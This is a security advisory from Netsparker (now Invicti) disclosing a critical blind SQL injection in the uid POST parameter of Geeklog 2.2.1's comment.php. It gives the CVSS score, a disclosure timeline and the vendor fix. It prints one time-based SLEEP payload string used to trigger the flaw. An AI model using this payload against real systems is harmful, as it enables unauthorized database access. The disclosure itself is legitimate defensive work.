Information
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Advisory by Netsparker (now Invicti)
Name: Blind SQL Injection Vulnerability in Geeklog
Affected Software: Geeklog
Affected Versions: 2.2.1
Vendor Homepage: https://www.geeklog.net/
Vulnerability Type: Blind SQL Injection
Severity: Critical
Status: Fixed
CVSS Score (3.0): 8.6 (High)
Invicti Advisory Reference: NS-20-002

Technical Details
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Blind SQL Injection

URL  : http://sectestapp/geeklog-2.2.1/public_html/comment.php#commenteditform
Parameter Name  : uid
Parameter Type  : POST
Attack Pattern  : 2+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f

For more information on Blind SQL Injection vulnerabilities read the article How Blind SQL Injection Works.

Advisory Timeline
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11th March 2020 - First Contact
20th April 2020 - Vendor Fixed
27th April 2020 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing the Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.